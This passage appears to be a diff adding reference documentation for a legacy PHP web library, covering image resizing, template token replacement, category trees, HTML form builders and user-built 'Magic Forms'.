+ PNMSCALE
+ GIFTOPNM
+ PPMTOGIF
+ PPMQUANT
+
+
+------------------------------------------------------------------------
+ bool graphic_resize(string $img, string $timg, string $type, int $w, int $h)
+------------------------------------------------------------------------
+
+Creates a thumbnail image based on a full scale jpeg or gif
+
+ NOTES:
+ This function expects "good" parameters. Make sure you
+ ereg_replace any bad escape characters (or even spaces) that
+ are part of $img and $timg before passing them to
+ graphic_thumb(). You may want to look at escapeshellcmd() or
+ EscapeShellArg() once we upgrade to php4.03 ./muk
+
+ Parameters:
+ $img -- path to image which needs to be resized
+ $timg -- path where resized image will live
+ $type -- mime type of image e.g. "image/jpeg"
+ $w -- width of new image
+ $h -- height of new image
+
+ Return value:
+ Returns 1 on success 0 on failure
+
+ Global references:
+ DJPEG
+ CJPEG
+ PNMSCALE
+ GIFTOPNM
+ PPMTOGIF
+ PPMQUANT
+
+------------------------------------------------------------------------
+ array img_resized(string $path2image, string $path2thumb, string $axis, int $size)
+------------------------------------------------------------------------
+
+ Resizes an image based on a full scale jpeg or gif
+
+
+ Parameters:
+ $path2image -- path to image which needs to be resized
+ $path2thumb -- path where resized image will live
+ $axis -- 'h' for height , 'w' for width , or 'a' for both
+ $size -- using axis size of new image
+
+ Return value:
+ Returns $img_resized_array
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ array img_upload(string $form_field, string $image_name, string $destination_path)
+------------------------------------------------------------------------
+
+Creates a thumbnail image based on a full scale jpeg or gif
+
+ NOTES:
+ This function expects "good" parameters. Make sure you
+ ereg_replace any bad escape characters (or even spaces) that
+ are part of $img and $timg before passing them to
+ graphic_thumb(). You may want to look at escapeshellcmd() or
+ EscapeShellArg() once we upgrade to php4.03 ./muk
+
+ Parameters:
+ $form_field -- $form_field of image
+ $image_name -- $form_field of image with _name
+ $destination_path -- path to store uploaded image
+ $w -- width of new image
+ $h -- height of new image
+
+ Return value:
+ Returns $img_upload_array
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ string process_image(string $image, string $image_name)
+------------------------------------------------------------------------
+
+Main function for image processing
+
+ NOTES:
+ This function does the following:
+ 1) places image into original folder
+ 2) makes three images from original size and places them
+ into the RESIZED, MIDSIZED, and THUMB folders
+
+ Parameters:
+ $image -- The variable of the image being post from the form
+ $image_name -- The variable_name of the image being post
+
+ Return value:
+ Returns $image_name
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ bool delete_image( string $image_name )
+------------------------------------------------------------------------
+
+Main function for image processing
+
+ NOTES:
+ This function does the following:
+ 1) deletes images in all sizes for a particular name
+
+ Parameters:
+ $image -- The variable of the image being post from the form
+ $image -- The variable_name of the image being deleted
+
+ Return value:
+ Returns TRUE if all is OK or FALSE if images weren't there
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ string duplicate_image( string $image_name )
+------------------------------------------------------------------------
+
+Main function for image processing
+
+ NOTES:
+ This function does the following:
+ 1) creates a duplicate of each size of an image in each
+ image directory using a new filename.
+
+ Parameters:
+ $image_name Name of the existing image to duplicate
+
+ Return value:
+ Returns the name of the image copy or an empty string
+
+ Global references:
+
+
+************************************************************************
+* *
+* GENERAL SUPPORT FUNCTIONS / CLASSES *
+* *
+************************************************************************
+
+
+
+------------------------------------------------------------------------
+ Class Name: timestampfunc
+------------------------------------------------------------------------
+
+Class Functions
+
+array newdate($timestamp)
+ This function is used internally by the class to
+ handle the dirty work of getting the month and year
+ out of the time stamp. Used mostly to cut down on
+ the number of lines of code in the class
+
+string first_of_month($timestamp)
+ This function takes a unix timestamp, and returns a
+ unix timestamp of the first day of the month of the
+ timestamp passed to it.
+
+ string first_last_month($timestamp)
+ This functin takes a unix timestamp, and returns a
+ unix timestamp of the first day month previous to
+ the timestamp passed to it.
+
+ string first_next_month($timestamp)
+ This function takes a unix timestamp and returns a
+ time stamp for the first of the next month
+
+ string first_of_Xmonth($timestamp,$x)
+ This function takes a unix timestamp, and the number
+ of months to calculate for ($x). $x can be positive
+ or negative. The function returns a time stamp for
+ the first day of whatever the return month is.
+
+
+
+------------------------------------------------------------------------
+ float pos_value( float $value )
+------------------------------------------------------------------------
+
+This function the value only if it's positive, otherwise return 0
+
+ Parameters:
+ $value Value to check
+
+ Return value:
+ float value if > 0
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string money( string $value, string $option)
+------------------------------------------------------------------------
+
+This function returns a string formatted for US Dollars
+
+ Parameters:
+ $value Value in dollars to format
+ $option Optional control parameter
+ "NOPREFIX" - Do not display $ in front of number
+
+ Return value:
+ String containing money formatted string with "$"
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array strtoarray( string $s )
+------------------------------------------------------------------------
+
+This function converts a standard data string to an array
+
+ Parameters:
+ $s Standard data string
+ key^value~key^value^...
+
+ Return value:
+ Array containing data from string or FALSE
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string arraytostring( array $a, string $type )
+------------------------------------------------------------------------
+
+This function converts an array into a standard data string
+
+ Parameters:
+ $a An array containing data for the string
+
+ Return value:
+ Standard data string in the form of
+ key^value~key^value^...
+ or FALSE if there's an error.
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string replace_tokens( string $s, array $tokens )
+------------------------------------------------------------------------
+
+This function replaces all occurances of the tokens listed in $tokens
+with the string associated with each token where each token is found
+in the string surrounded by curly braces ( "{" and "}" )
+
+ Parameters:
+ $s String to be modified
+ $tokens Array of tokens to use for replacement
+ Key is name of token
+ Value is string that replaces token
+
+ Return value:
+ Modified string
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string cond_replace_tokens( string $s, array $tokens )
+------------------------------------------------------------------------
+
+This function checks for "<!--{if:...}--> ... <!--{else} ... {/if}-->"
+syntax. With this syntax, one sting is used when the if condition is
+true and the other when it isn't.
+
+ There are two forms of the {if:...} syntax:
+
+ <!--{if:t}-->
+
+ In this form, the condition is true if the token named "t" is
+ not empty ( = "" ).
+
+ <!--{if:t=v}-->
+
+ In this form, the condition is true if the value of the token
+ named "t" is equal to the string "v".
+
+ Parameters:
+ $s String to be modified
+ $tokens Array of tokens to use for tests and replacement
+ Key is name of token
+ Value is string that replaces token
+
+ Return value:
+ Modified string
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string replace_file_tokens( string $s )
+------------------------------------------------------------------------
+
+This function checks for the "file" token and replaces the token and
+all contents of it with the contents of the file. The second form
+permits text between the start and end of the token that would be
+displayed when directly viewing the file.
+
+ The syntax is:
+
+ <!--{file:f}-->
+ or
+ <!--{file:f}--> any_text <!--{/file}-->
+
+ Where f is the name of a file to insert
+
+
+ In this form, the condition is true if the value of the token
+ named "t" is equal to the string "v".
+
+ Parameters:
+ $s String to be modified
+
+ Return value:
+ Modified string
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string tableize_array( array $a )
+------------------------------------------------------------------------
+
+Produce HTML table describing contents of an array
+
+ Parameters:
+ $a Array to be described
+
+ Return value:
+ String with HTML code to display array
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string admin_field_select( array $fields, char $filter )
+------------------------------------------------------------------------
+
+Select field data from an array based on which function it will be used for
+
+ Parameters:
+ $fields Complete standard admin_..._record() format field data
+ with the addition of a set of characters. These
+ characters indicate which function the line applies to.
+ (n)ew, (a)dd, (e)dit, (u)pdate, (d)elete, (c)confirm,
+ (v)iew, (l)ist, (f)ilter
+ $filter Filter character indicating which type of admin function
+ filter to use (n, a, e, u, d, c, v, l, or f)
+
+ Return value:
+ String ready to be fed into $fields parameter of admin function
+
+ Global references:
+ none
+
+------------------------------------------------------------------------
+ string admin_menu_std( string $action, string $a_title, int $id,
+ string $opt, string $options, string $add_menu, string $params );
+ string admin_menu( string $action, string $a_title, int $id,
+ string $opt, string $options, string $add_menu, string $params );
+------------------------------------------------------------------------
+
+Generate standard admin low-level menu. admin_menu() generates older HTML while
+admin_menu_std() generates newer standard GLM HTML for admin areas (<div>'s).
+
+ Parameters:
+ $action Action this menu is associated with
+ $a_title Title to display at left of menu
+ $id ID of current record
+ $opt Current Option being executed (Normally $Option)
+ $options String of characters indicating which options are
+ to be provided
+ l=list, v=view, e=edit, d=delete, a=add
+ $add_menu Additional Menu items to be included at end.
+ $params Additional link Parameters that need to be passed in the form
+ of typlical link data ( x=x1&y=y1&... )
+
+ Return value:
+ String ready to be displayed. Does not include trailing <BR>
+
+ Global references:
+ none
+
+
+------------------------------------------------------------------------
+ string clean_input( string $var_name, string $type, bool $required )
+------------------------------------------------------------------------
+
+Cleanup input parameters and test them for proper type of data then
+place cleaned up input values back into the parameter referenced.
+
+ Parameters:
+ $var_name Name of the input variable to clean up (not the parameter itself
+ $type Expected type of the parameter - Optional, defaults to 'text'
+ int Integer number
+ float Floating point number (accepts integer also)
+ Also trims "$" if included
+ phone Phone number (any legal style)
+ zip ZIP/Postal Codes (Any legal style)
+ text General Text input
+ state Checks against state list in siteinfo.inc
+ country Checks against country list in siteinfo.inc
+ email Checks for legal E-Mail address
+ creditcard Checks for legal Credit Card number
+ date Checks for legal Date/time
+ inet Checks for legal Internet Address or Netmask (IP)
+ $required Field is require (true/false)
+
+ Return value:
+ string Returns an empty string if all is OK, or an error message
+ if not.
+
+ Global References
+ References the specified parameter as a global
+ $si_states_array for type 'state'
+ $si_countries_array for type 'country'
+
+
+------------------------------------------------------------------------
+ string data_to_url( array $data, string $prefix )
+------------------------------------------------------------------------
+
+Build the parameter list of a search engine friendly URL using the supplied
+parameters. The url will include only the parameters, properly encoded, in
+the sequence they appear in the array and separated by /'s.
+
+ Parameters:
+ $data Array of data to include. Key is name of parameter
+ and array values are the values to be passed in the URL.
+ Note that the keys are for caller reference only and
+ are not really used in this funtion.
+ $prefix Any desired URL prefix to include.
+
+ Returned Value:
+ string The search engine friendly URL
+
+ Global References:
+ (none)
+
+------------------------------------------------------------------------
+ array url_to_data( array $data, string $url, string $start_key )
+------------------------------------------------------------------------
+
+Read a list of parameters from a search engine friendly URL and stuff the
+results in the returned array.
+
+ Parameters
+ $data Array similar to that used in data_to_url() function
+ except that the array values are not used. Keys are
+ the names of the parameters. Note that the keys are
+ for caller reference only and are not really used in
+ this function. URL parameters are assumed to be in
+ the same order as the array.
+ $url URL to parse as source of parameter data.
+ $start_key String used to identify postion in the URL where the
+ parameter values start. The function will search for
+ this string plus a following / and will use anything
+ following as the parameter list.
+
+ Returned Value:
+ array Array of data similar to that passed to data_to_url()
+ function containing parameter names as the keys and
+ parameter values as the array values.
+
+ Global References:
+ (none)
+
+
+------------------------------------------------------------------------
+string build_nav( array $nav_table, string $menu_title, string $current_item = '',
+ string $sub_menu = '', string $link_data = '' )
+------------------------------------------------------------------------
+
+Builds standard navigation code.
+
+ Parameters:
+ $nav_table Array of menu items - Contains:
+ key Name of menu item
+ 'title' Text to display for Menu item
+ 'url' URL for link from menu to selected item
+ $menu_title Title for top of menu
+ $current_item Name of the current menu item as listed in $menu
+ $sub_menu Sub-Menu text to be included at point of current_item
+ $link_data Additional link data to be appended to URL
+
+ Returned Value:
+ string HTML of menu
+
+ Global References:
+ (none)
+
+
+
+************************************************************************
+* *
+* CATEGORY SUPPORT FUNCTIONS *
+* *
+************************************************************************
+
+ Note that category functions assume the following fields in tables
+
+ Field Key Req Description
+ ------- ----------- --------------------------------------
+ id Yes Unique ID for the category node
+ parent Yes Parent node id
+ name Category Name field
+ sort Sort order field for (sub)category
+
+------------------------------------------------------------------------
+ string category_path_func( string $table_name )
+------------------------------------------------------------------------
+
+Returns PL/pgSQL category_path support function for specified data table
+
+Before running these functions on any database the language must be
+loaded into the database using the following command line.
+
+ createlang -h {server} -U {user} plpgsql {database_name}
+
+ Parameters:
+ string $table_name Name of category table
+
+ Return value:
+
+ string String containing function definition. Must load this by
+ including it in a query. Best to do that as part of a
+ transaction to make sure the function doesn't change by
+ another process.
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ array cat_get_node( string $table, string $qs, string $order )
+ array cat_get_nodes( string $table, string $qs, string $order )
+------------------------------------------------------------------------
+
+This function returns an array of results from a category table using
+the supplied query string.
+
+The results are sorted by category hierarchy.
+
+cat_get_node() is for getting a single node
+cat_get_nodes() is for getting a list of nodes
+ ( results are similar to db_auto_get_row() and db_auto_get_data() )
+
+ Parameters:
+ $table Table name to query
+ $qs Query string used to select category nodes
+ Defaults to nothing
+ $order ORDER BY string for ordering results other than by category path
+
+ Return value:
+ array Array of nodes data containing all fields for each record
+ in the category table
+
+ Also included with each node array is an array element called 'parent_data'
+ that provides the following...
+ ['cat_names'] An array of parent node names from top level down
+ ['cat_id_path'] A "|" delimited string of the cat ID path
+ (all parents in sequence followed by the current id)
+ ['cat_ids'] An array of the cat ID from top level down
+ (all parents in sequence followed by the current id)
+ ['cat_level'] A number indicating the category level of current node
+ 0 = Top level
+
+ or FALSE if none
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ array cat_get_expanded_nodes( string $table, int $id )
+------------------------------------------------------------------------
+
+This function returns an array of results from a category table suitable
+for use with a contracted menu of categories. Categories that are returned
+are the target and all siblings of all parents.
+
+The results are sorted by category hierarchy.
+
+Parameters:
+ $table Table name to query
+ $id ID of target category node
+
+ Return value:
+ array Array of nodes data containing all fields for each record
+ in the category table
+
+ Also included with each node array is an array element called 'parent_data'
+ that provides the following...
+ ['cat_names'] An array of parent node names from top level down
+ ['cat_ids'] An array of parent id's from top level down
+ ['cat_level'] A number indicating the category level of current node
+ 0 = Top level
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array cat_get_tree( string $table, int $id )
+------------------------------------------------------------------------
+
+ ***** NOT IMPLEMENTED *****
+
+This function returns an array of results from a category table that
+includes the entire tree of a target category and every category subordinate
+to it.
+
+The results are sorted by category hierarchy.
+
+Parameters:
+ $table Table name to query
+ $id ID of target category node
+
+ Return value:
+ array Array of nodes data containing all fields for each record
+ in the category table
+
+ Also included with each node array is an array element called 'parent_data'
+ that provides the following...
+ ['cat_names'] An array of parent node names from top level down
+ ['cat_ids'] An array of parent id's from top level down
+ ['cat_level'] A number indicating the category level of current node
+ 0 = Top level
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ bool cat_resequence_siblings( string $table, int $parent )
+------------------------------------------------------------------------
+
+This function resequences the "order" field of a group of siblings
+to normalize the numbering. It renumbers by 10's starting at 10 to
+permit insertion of new nodes at any point or to move a node to any
+point.
+
+ Parameters:
+ $table Table name to query
+ $parent Parent ID
+
+ Return value:
+ bool TRUE or FALSE (if some error)
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array cat_move_node( string $table, int $id, int $new_parent )
+------------------------------------------------------------------------
+
+ **** PENDING ****
+
+This function resequences the "order" field of a group of siblings
+to normalize the numbering. It renumbers by 10's starting at 10 to
+permit insertion of new nodes at any point or to move a node to any
+point.
+
+ Parameters:
+ $table Table name to query
+ $parent Parent ID
+
+ Return value:
+ bool TRUE or FALSE (if some error)
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ bool cat_delete_node( string $table, int $id, string $method )
+------------------------------------------------------------------------
+
+ **** PENDING ****
+
+This function deletes a target node. Depending on $method, it will either
+delete all children or assign them to the deleted node's parent.
+
+ Parameters:
+ $table Table name to query
+ $parent Parent ID
+ $method Method of deletion
+ "node" - Delete the node only and assign children to parent
+ DEFAULT
+ "tree" - Delete all children as well as the target node
+
+ Return value:
+ bool TRUE or FALSE (if some error)
+
+ Global references:
+ None
+
+
+************************************************************************
+* *
+* HIGH-LEVEL FUNCTIONS *
+* *
+************************************************************************
+
+
+
+------------------------------------------------------------------------
+ string build_numeric_picklist( string $fieldname, int $starting, int $ending,
+ int $selected )
+------------------------------------------------------------------------
+
+This function returns a string containing the HTML code for a picklist
+with the specified name and containing sequential numeric OPTIONS.
+
+ Parameters:
+ $fieldname Field name
+ $starting Lowest number in list
+ $ending Highest number in list
+ $selected Start with this number selected (optional)
+
+ Return value:
+ String containing HTML code for picklist
+
+ Global references:
+ None
+
+
+
+------------------------------------------------------------------------
+ string build_picklist( string $fieldname, array $data, string $selected [, string $type]
+ [, string $options] )
+------------------------------------------------------------------------
+
+This function returns an HTML string that provides picklist input
+
+ Parameters:
+ $fieldname Field name
+ $data Array of pick list options
+ $selected Index to match for "SELECTED" option
+ (or "" if none)
+ $type (optional) Type of source array
+ "standard" - Array element Index is OPTION value and element value is text to display
+ "simple" - Array element value is both text and OPTION value
+ $options Optional list of options - {option1}~{option2}~...
+ Options are:
+ blank Include blank option
+ numeric Order numeric by value
+ alpha Order alphanumeric by value
+ ascending Order ascending
+ descending Order Descending
+ multi Multiple selection permitted
+
+ Return value:
+ String containing HTML code for picklist
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string build_radio_buttons( string $fieldname, array $data, string $selected
+ [, string $separator] [, string $type] [, string $options] )
+------------------------------------------------------------------------
+
+This function returns an HTML string that provides Radio Button input
+
+ Parameters:
+ $fieldname Field name
+ $data Array or standard data string of radio button options
+ $selected Index to match for "SELECTED" option
+ (or "" if none)
+ $type (optional) Type of source array
+ "standard" - Array index is button value, array data is displayed text
+ "simple" - Array element data is both button value and text
+ $options Optional list of options - {option1}~{option2}~...
+ Options are:
+ numeric Order numeric by value
+ alpha Order alphanumeric by value
+ ascending Order ascending
+ descending Order Descending
+ before Text before button (default)
+ after Text after button
+ $separator String to be used as separator for radio button options
+
+ Return value:
+ String containing HTML code for radio button input
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string calendar_date_select( string $default_value, timestamp $start_date, timestamp $end_date,
+ string $form_name, string $field_name, string $options, string $no_earlier )
+------------------------------------------------------------------------
+
+ This function creates a date input form with a link to a pop-up calendar
+
+ Parameters:
+ $default_value Text to use as default value for input field
+ $selected_date Timestamp of date that should be selected by default
+ in pop-up calendar
+ $start_date Timestamp of first date to allow in pop-up calendar
+ $stop_date Timestamp of last date to allow in pop-up calendar
+ $form_name Name of submission form
+ $field_name Base name of target field in Form
+ Saves results into:
+ {$field_name}_date
+ {$field_name}_month (includes year)
+ $options Optional controls - comma separated
+ NO_PROMPT No (month/day/year) prompt
+ TEXT Single text input field (default)
+ PICK Month, Day, Year picklists
+ HIDE_YEAR Hide year picklist
+ $no_earlier Optional name of form field that may contain a date
+ that should be used as the earliest date to
+ set as the default date. If $selected_date is
+ earlier than this, set $selected_date to this date.
+
+ Return value: String containing complete form
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string calendar_display( int $month, int $year, array $date_data
+ [, string $headerinfo] [, string Rmonthinfo] )
+------------------------------------------------------------------------
+
+Build an HTML calendar with data from the array in each date
+
+ Parameters:
+ $month Numeric month value 1-12
+ $year Numeric year value e.g. 2002
+ $date_data array, index must be number of day,
+ ["text"] is displayed inside calendar
+ ["link"] is link target
+ $headerinfo String to place under the Month and Year
+ $monthinfo String to replace Month/Year title line
+
+ Return value: calendar as string
+
+ Global references:
+ None
+
+
+
+------------------------------------------------------------------------
+ array get_us_counties( string $state, bool $fail_mode, $include_any )
+------------------------------------------------------------------------
+
+This function returns an array containing the names of counties in the
+state specified.
+
+ Parameters:
+ $state 2 letter code of state
+ $fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+ #include_any Include an option "(any)", which = ""
+
+ Return value:
+ Array of counties
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ string parse_view( string $file_name, array $tokens, bool $show_unused )
+------------------------------------------------------------------------
+
+This function loads a "view" file, replaces all occurances of
+the specified tokens. The view file may also designate areas to
+exclude from the file (discard), may specify header, body, and footer
+regions, and may specify a set of body designs that are to be used in
+rotation for sets of body tokens.
+
+ Parameters:
+ $file_name Full path and name of view file
+ $tokens A multi-dimentional array of sets of tokens
+
+ The view file may include the following designators:
+
+ **** NEED TO REWRITE THIS DOCUMENTATION ****
+ **** ALSO CHANGE REPLACEMENTS T%O NOT USE REGEX ****
+
+ <!--{include:filenmae}-->
+
+ Replace all occurances with contents of filename. The file name
+ is relative to the root of the web site. i.e. ...
+
+ <!--{include:sales/policy.inc}-->
+
+ ... will include the file SI_BASE_PATH."/sales/policy.inc".
+
+ <!--{exclude}--> and <!--{/exclude}-->
+
+ All text between EXCLUDE and /EXCLUDE comments will be deleted.
+ This permits the inclusion of areas in the view file that allow
+ for more a more complete perspective when laying out the view
+ file such that it can be directly viewed on a browser or in an
+ HTML layout package.
+
+ Both start and end EXCLUDE tags must be used or the area will not
+ be excluded from the results.
+
+ <!--{list:name}--> and <!--{/list}-->
+
+ The {BODY} and {/BODY} comment tags designate the start and end
+ of a "body" section of the view file file. Text before the
+ {BODY} tag is considered the "header" and text after the {/BODY}
+ tag is considered the "footer".
+
+ The body section is parsed and added to the result multiple
+ times, once for each set of "body" tokens.
+
+ Both {BODY} and {/BODY} tags must be used together or not at all.
+ There can be only one set of such tags in a view file. If they
+ do not exist, the whole file is parsed as a unit using the
+ "global" tokens only.
+
+ <!--{sep}--> and <!--{/sep}-->
+
+ The body of a view file may be separated into "sections" by
+ including the {SECTION} comment tags. When there are multiple
+ sections of the body, these sections are used in rotation as
+ each set of "body" tokens is applied. There may be any number of
+ {SECTION} comment tags or none at all. These tags may not appear
+ in the header or footer of the view file.
+
+ $tokens array as the following structure
+
+
+ "global" => array
+ (
+ token => string,
+ token => string,
+ ...
+ tokey key/value sets used in header, footer or for the
+ whole file if the file is not separated by comment tags.
+ )
+ "body" => array
+ (
+ 0 => array
+ (
+ token => string,
+ token => string,
+ ...
+ token key/value sets used for a body section
+ )
+ 1 => array
+ (
+ token => string,
+ token => string,
+ ...
+ token key/value sets used for a body section
+ )
+ ...
+ The "body" array contains as many sets of data as
+ there are to be copies of the body section.
+ )
+
+ Return value:
+ String representing modified view file contents.
+
+ Global references:
+ None
+
+************************************************************************
+* *
+* MAGIC FORM FUNCTIONS *
+* *
+************************************************************************
+
+****WARNING: NEED TO UPDATE MAGIC FORM DOCUMENTATION TO INCLUDE FIELD FORMATS AND DEFAULT SELECTIONS/VALUES. ****
+
+
+Magic Forms are forms that are built by the user and that can contain a
+number of different field types and optional sub-forms.
+
+There are 3 functions associated with Magic Forms. They are...
+
+ magic_form_edit() Create/Edit a Form
+ magic_form_display() Display a form
+ magic_form_submit() Process a submitted form
+
+Magic Forms uses a single database table to store all form data. The name
+of this table is specified using the MF_TABLE defined parameter.
+
+Database Table Schema
+
+ CREATE TABLE magicform
+ (
+ id SERIAL,
+ form_id text,
+ custom_id text,
+ title text,
+ type smallint,
+ descr text,
+ active bool,
+ required bool,
+ data1 text,
+ sort smallint,
+ expanded bool,
+ style text,
+ image text,
+ cols int,
+ rows int
+ );
+
+After creating this table, create an index for the id field.
+
+ CREATE INDEX magicform_form_id_index ON magicform( form_id );
+
+Magic Forms also use a "format" array that contains information on what output
+formats are available and how to display them. These can include anything from
+simple one line formats for each field, to complex multi-column formats. These
+format specifications use the View Tags capability to permit complex and
+conditional use of form components. The following is an example.
+
+$mf_format = array
+ (
+
+ 'Default' => array
+ (
+ 'types' => ' 1 2 3 4 5 6 20 21 23 30 31 ', // Field types - MUST HAVE SPACE EACH SIDE OF VALUES
+ 'short_name' => 'Default', // A short name used in form edit
+ 'cols' => 1, // Number of columns per row
+ 'start' => '', // Text when starting this style
+ 'row_start' => '', // Text when starting a row
+ 'body' => '<ul>
+ <!--{if:required}--><font color="red">{title}</font><!--{else:required}<b>{title}</b>{/if:required}--><br>
+ <!--{if:descr}-->{descr}<br><!--{/if:descr}-->
+ <!--{if:image}-->{image}<br><!--{/if:image}-->
+ {input}
+ <!--{if:sub_forms}--><br><ol>{sub_forms}</ol><!--{/if:sub_forms}-->
+ </ul>', // Text for each column
+ 'col_empty' => '', // Text for empty columns
+ 'row_end' => '', // Text for end of each row
+ 'end' => '', // Text when switching to different style
+ 'sub_form' => '<ul>{sub_form}</ul>' // Text for each sub-form (yes, there could be multiples)
+ ),
+
+ 'Prompt/Input on single line' => array
+ (
+ 'types' => ' 1 2 3 4 5 6',
+ 'short_name' => 'Single Line',
+ 'cols' => 1,
+ 'start' => '',
+ 'row_start' => '',
+ 'body' => '<!--{if:required}--><font color="red">{title}</font><!--{else:required}<b>{title}</b>{/if:required}-->
+ <!--{if:image}-->{image}<!--{/if:image}-->
+ {input}
+ <!--{if:sub_forms}--><br><ol>{sub_forms}</ol><!--{/if:sub_forms}-->
+ ',
+ 'col_empty' => '',
+ 'row_end' => '',
+ 'end' => '',
+ 'sub_form' => '<ul>{sub_form}</ul>'
+ ),
+
+ '2 Column Table' => array
+ (
+ 'types' => ' 1 2 3 4 5 6 ',
+ 'short_name' => '2 Column',
+ 'cols' => 2,
+ 'start' => '<center><table border="0" cellspacing="0" cellpadding="2" width="90%">',
+ 'row_start' => '<tr>',
+ 'body' => '<td align="left" valign="top" width="50%">
+ <b><!--{if:required}--><font color="red">{title}</font><!--{else:required}{title}{/if:required}--></b><br>
+ <!--{if:descr}-->{descr}<!--{/if:descr}--><br>
+ {input}
+ <!--{if:sub_forms}--><p>{sub_forms}<!--{/if:sub_forms}-->
+ ',
+ 'col_empty' => '<td> </td>',
+ 'row_end' => '</tr>',
+ 'end' => '</table></center><p>',
+ 'sub_form' => '{sub_form}<br>'
+ ),
+
+Note that each format element has a list of field "types" with which it can
+be used. The magic_form_edit() function will read the list of "types" for
+each format specification and select the first format found for a particular
+field type as the default for that type. Only those formats that have a
+particular field type will be available for that type. The field types are...
+
+ 1 Checkbox
+ 2 Number
+ 3 Text
+ 4 Text Box
+ 5 Picklist
+ 6 Radio Buttons
+ 20 Section Title
+ 21 Misc. Text
+ 22 Horizontal Line
+ 23 Blank Line
+ 24 Image
+ 31 Calculated Field (not implimented)
+
+
+------------------------------------------------------------------------
+ array magic_form_edit( int $mf_id, array $mf_format, in5 $mf_level )
+------------------------------------------------------------------------
+
+This function is a complete user interface for building a form. Simply call
+this function with a unique form id. Each time a change is requested by the
+user, the page will be submitted. When submitted, call this function again.
+The user requests will be passed back to it with global submitted parameters.
+
+ Parameters:
+ $mf_id A unique int ID for this form
+ $mf_format Format array
+ $mf_level A sub-form level counter - Do not use!
+ This parameter is used internally to keep track of
+ recursion into sub-forms.
+
+
+ Return value:
+ Array containing the following elements
+
+ 'success' Boolean true, or false if there is a problem
+ 'modified' Form has been modified in a way that old end-user
+ data may not be valid anymore.
+ 'text' The full text of the form management ouput.
+ Send this text to the user's browser to display
+ form management interface.
+
+ Global references:
+ MF_TABLE SQL database table name to use
+ (various) Various other user submitted form parameters. These
+ parameters all begin with 'mf_'.
+
+------------------------------------------------------------------------
+ array magic_form_display( int $mf_id, array $mf_format, int $mf_fiid,
+ array $mf_def_data, int $mf_level )
+------------------------------------------------------------------------
+
+This function provides the HTML code to display a Magic Form to a user.
+
+ Parameters:
+ $mf_id A unique int ID for this form
+ $mf_format Format array
+ $mf_fiid ID of user data for this instance of the form. This is
+ used when the user data is to be called from the database.
+ Otherwise the $mf_def_data paramter can be used to
+ provide data received by the magic_form_submit() function.
+ $mf_def_data Array of default data. There is an element for each
+ field that should be populated with the provided
+ data, checked, or selected. The 'data' array returned
+ by the magic_form_submit() function can be used to
+ supply this default data. The elements actually used
+ are the element index (id of the field) and 'value'.
+ This value is used either when this function is calling
+ it'self for a sub-form or when the data is being passed
+ by the application from a prior submission using the
+ magic_form_submit() function.
+ $mf_level A sub-form level counter - Do not use!
+ This parameter is used internally to keep track of
+ recursion into sub-forms.
+
+ Return value:
+ Array containing the following elements
+
+ 'success' Boolean true, or false if there is a problem
+ 'text' The full text of the form management ouput.
+ Send this text to the user's browser to display
+ the final form.
+ 'required' Boolean flag indicating if there are any "required"
+ fields. This can be used to determine if some text
+ should be displayed to the user about required fields.
+
+ Global references:
+ MF_TABLE SQL database table name to use
+ (various) Various other user submitted form parameters. These
+ parameters all begin with 'mf_' and then the numeric
+ record id of the form element from the MF_TABLE.
+
+
+
+------------------------------------------------------------------------
+ array magic_form_submit( int $mf_id, int $mf_fiid, array $mf_def_data, int $mf_level )
+------------------------------------------------------------------------
+
+This function is used to process a user submitted form that was created by
+the magic_form_display() function. It can optionally accept an array of data
+to be used as the default values for each field.
+
+ Parameters:
+ $mf_id A unique int ID for this form
+ $mf_fiid A unique ID used as a key to store submitted data.
+ If this parameter is "null" then data is not stored.
+ $mf_def_data An array of user data from a prior use of this function.
+ When this parameter is supplied, this data is used rather
+ than checking for form submission data. This permits
+ reprocessing of sumbitted data for the purpose of storing
+ the data or generating the HTML, CSV, or other results.
+ $mf_level A sub-form level counter - Do not use!
+ This parameter is used internally to keep track of
+ recursion into sub-forms.
+
+ Return value:
+ Array containing the following elements
+
+ 'success' Boolean true, or false if there is a problem
+ 'data' Array of data results. Each element is a field result.
+ This array can be supplied back to magic_form_display() as the
+ $mf_def_data array to supply default values for fields.
+ The index of each field result is the record id of that
+ field in MF_TABLE. Each field result is an array containing...
+
+ 'id' Field id
+ 'title' Field title
+ 'type' Field type number
+ 'txt_typ' Field type name
+ 'value' Submitted value
+ 'txt_val' Text version of result (for things like
+ boolean true/false results)
+ 'opt_num' Option number for checkbox, picklist, & radio buttons
+ 'valid' Boolean flag indicating whether the field
+ data is valid
+ 'required' Boolean flag indicating if field is required
+ 'failure' Text string indicating any submission problem
+
+ 'html' HTML code to display a table of the results
+ 'csv' Results prepaired as .csv (quoted, comma separated)
+ 'problem' Text listing any submission problems, such as
+ required fields that weren't completed
+
+ Global references:
+ MF_TABLE SQL database table name to use
+ (various) Various other user submitted form parameters. These
+ parameters all begin with 'mf_' and then the numeric
+ record id of the form element from the MF_TABLE.
+
+------------------------------------------------------------------------
+ bool magic_form_store_data( int $mf_id, int $mf_fiid, array $mf_def_data )
+------------------------------------------------------------------------
+
+This function simply stores the data supplied in the $mf_def_data array (generated
